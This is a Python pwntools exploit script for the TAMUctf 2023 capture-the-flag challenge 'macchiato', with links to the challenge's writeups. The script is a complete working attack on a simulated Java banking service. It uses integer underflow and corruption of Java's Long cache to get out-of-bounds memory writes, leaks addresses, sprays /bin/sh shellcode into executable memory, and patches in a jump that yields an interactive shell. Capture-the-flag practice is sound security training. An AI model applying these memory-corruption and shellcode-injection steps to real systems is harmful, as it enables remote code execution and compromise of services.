The challenge author also released a writeup here: https://github.com/tamuctf/tamuctf-2023/tree/master/pwn/macchiato

And the winning team released their writeup here: https://astr.cc/blog/tamuctf-2023-writeup/#macchiato

import pwn
import warnings
import time

warnings.filterwarnings(action='ignore', category=BytesWarning)

pwn.context.arch = "amd64"

p = pwn.remote("localhost", "7010")
# p = pwn.remote("tamuctf.com", 443, ssl=True, sni="macchiato")

LONG_MAX = 9223372036854775807


def login(bank, username):
    p.sendlineafter("option:", "1")
    p.sendlineafter("bank name", bank)
    p.sendlineafter("username:", username)
    p.recvuntil("ID ")
    return int(p.recvuntil("!", drop=True))


def balance(account):
    p.sendlineafter("option:", "2")
    p.sendlineafter("option:", "1")
    p.sendlineafter("number (0-10):", str(account))
    p.recvuntil("now $")
    out = int(p.recvline())
    p.sendlineafter("option", "3")
    return out


def withdraw(account, amount):
    p.sendlineafter("option:", "2")
    p.sendlineafter("option:", "2")
    p.sendlineafter("number (0-10):", str(account))
    p.sendlineafter("amount", str(amount))
    p.sendlineafter("option", "3")


def write_value(account, value):
    curr = balance(account)
    print(f"{curr=} {value=}")

    if value > 0 and curr > 0:
        print(f"{balance(account)=}")

        withdraw(account, curr)
        print(f"{balance(account)=}")
        withdraw(account, LONG_MAX)
        print(f"{balance(account)=}")

        withdraw(account, 2)
        print(f"{balance(account)=}")

        withdraw(account, LONG_MAX - value + 2)
        print(f"{balance(account)=}")

    elif value < 0 and curr > 0:
        print(f"{balance(account)=}")

        withdraw(account, curr - 2)
        print(f"{balance(account)=}")

        withdraw(account, abs(value) + 2)
        print(f"{balance(account)=}")

    elif value < 0 and curr < 0:
        print(f"{balance(account)=}")

        withdraw(account, LONG_MAX - abs(curr))
        print(f"{balance(account)=}")

        withdraw(account, 2)
        print(f"{balance(account)=}")

        withdraw(account, 9223372036854775805 - 10)
        # withdraw(account, 1)
        print(f"{balance(account)=}")

        withdraw(account, abs(value) + 12)
        print(f"{balance(account)=}")

    elif value > 0 and curr < 0:
        print(f"0 {balance(account)=}")

        withdraw(account, LONG_MAX - abs(curr))
        print(f"1 {balance(account)=}")

        withdraw(account, 2)
        print(f"2 {balance(account)=}")

        withdraw(account, LONG_MAX - value)
        print(f"3 {balance(account)=}")

    assert balance(account) == value, balance(account)


def trigger_crash(account):
    p.sendlineafter("option:", "2")
    p.sendlineafter("option:", "2")
    p.sendlineafter("number (0-10):", str(account))
    p.sendlineafter("amount", str(1))


def upgrade():
    p.sendlineafter("option:", "3")


# Step 1: Enable BlazinglyFastBank accounts via Underflow
login("RegularBank", "me")
withdraw(0, LONG_MAX)
print(f"{balance(0)=}")
withdraw(0, 2)
print(f"{balance(0)=}")
upgrade()

# Step 2: Modify LongCache by bypass index check
login("java.lang.Long$LongCache", "cache")
print(f"LongCache.balance(0) = {balance(0)=}")
withdraw(128, LONG_MAX)
withdraw(128 + 10, LONG_MAX)
withdraw(128 + 10, 2 + 10)

# Step 3: Login to BlazinglyFastBank and grab hashCode
arrHashCode = login("BlazinglyFastBank", "me")
print(f"{hex(arrHashCode)=}")


# Step 4: Find spray_offsets
# me == 579
# notMe == 567
# notMeEither == 555

for i in range(500, 600):
    b = pwn.unsigned(balance(i))

    bHigh = b >> 32
    bLow = b & 0xFFFFFFFF

    print(f"{i=} {hex(arrHashCode)=} {hex(bHigh)=} {hex(bLow)=}")

    if arrHashCode == bHigh or arrHashCode == bLow:
        print(f"Found hashCode at index {i=}")
        # time.sleep(1)


# trigger_crash(-0x1000000 // 8)
# p.interactive()

# Leak arr addr
arr_addr = (pwn.unsigned(balance(574)) >> 32) + 0x10
print(f"{hex(arr_addr)=}")

# Step 5: Inject Shellcode (spray and pray)
spray_addr = 0x800001500

shellcode = pwn.asm(pwn.shellcraft.amd64.sh())

spray_offset = (spray_addr - arr_addr) // 8
i = 0
for chunk in pwn.group(8, shellcode, fill_value="\x90"):
    print(f"Writing {hex(spray_offset+i)=} {pwn.u64(chunk, sign='signed')=}")
    write_value(spray_offset + i, pwn.u64(chunk, sign="signed"))
    i += 1

# Step 6 (Optional): Verify shellcode
i = 0
for chunk in pwn.group(8, shellcode, fill_value="\x90"):
    print(f"Writing {hex(spray_offset+i)=} {pwn.u64(chunk, sign='signed')=}")
    b = balance(spray_offset + i)
    assert pwn.u64(chunk, sign='signed') == b
    i += 1


# Step 7 (Optiona): dump rwx asm
asm = b""
for i in range(20):
    asm += pwn.p64(balance(spray_offset - (0x1500 // 8) + i), sign="signed")

print(pwn.disasm(asm))


# Step 8 Inject Trampoline
jump = f"""
movabs r10, {spray_addr}
"""

jump_int = pwn.asm(jump)[:8]  # ignore final 2 null bytes
print(f"{jump_int=}")
jump_asm = pwn.u64(jump_int, signed='signed')

current_jump_value = balance(spray_offset - (0x1500 // 8))
print(f"{hex(current_jump_value)=}")
print(f"{hex(jump_asm)=}")


withdraw(spray_offset - (0x1500 // 8), current_jump_value - jump_asm)

p.interactive()